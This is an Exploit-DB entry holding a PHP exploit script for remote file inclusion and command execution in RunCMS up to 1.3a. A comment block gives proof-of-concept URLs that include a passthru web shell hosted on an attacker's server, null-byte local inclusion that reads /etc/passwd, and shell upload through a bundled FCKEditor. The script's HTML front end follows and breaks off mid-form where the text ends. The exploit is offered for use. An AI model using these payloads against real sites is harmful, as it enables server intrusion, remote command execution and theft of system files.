Exploit-DB #1485
Description: RunCMS 1.2 - 'class.forumposts.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-09
Author: rgod

Exploit:
<?php
#   ---runcms_13a_xpl.php                                     17.30 09/02/2006 #
#                                                                              #
#                 RunCMS <= 1.2 arbitrary remote inclusion exploit             #
#                   "    <= 1.3a shell upload through FCKEditor                #
#                              coded by rgod                                   #
#                  site: http://retrogod.altervista.org                        #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
#  come from the other feudal  princes. This is simply  bringing anarchy  into #
#  the army, and flinging victory away."                                       #

/* a short explaination:

   i) on unpatched <=1.2 versions I tested:

   if register_globals = On & allow_url_fopen = On
   arbitrary remote inclusion in
   modules/newbb_plus/class/class.forumposts.php
   at line 15:

   ...
   include_once ($bbPath['path'].'/include/user_level.php');
   ...

   and in modules/newbb_plus/class/forumpollrenderer.php
   at line 14:

   ...
   include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
   ...

   poc:
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

   where on [somehost] you have:

   <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>

   in http://[somehost]/include/user_level.php/index.html
   and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

   it seems this vulnerabilties has been patched from 1.3 version
   and old packages <= 1.2 has been uptaded with new patches

   ii) on unpatched <=1.2:
   if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
   from local resources:

   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00

   iii) on 1.3a version:

   also, integrated in runCMS we have an old version of FCKEditor
   (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
   so you can upload files on target machine, .php3 files, .php5 and inc files
   call them directly (iii.a) and if not set as executable files on target machine,
   you can try local inclusion with versions <=1.2 (ii.b)

   poc:
   (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
   (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
          http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00

                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%">  <tr> <td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/runcms/  or just / ) </span></p><p><input type="te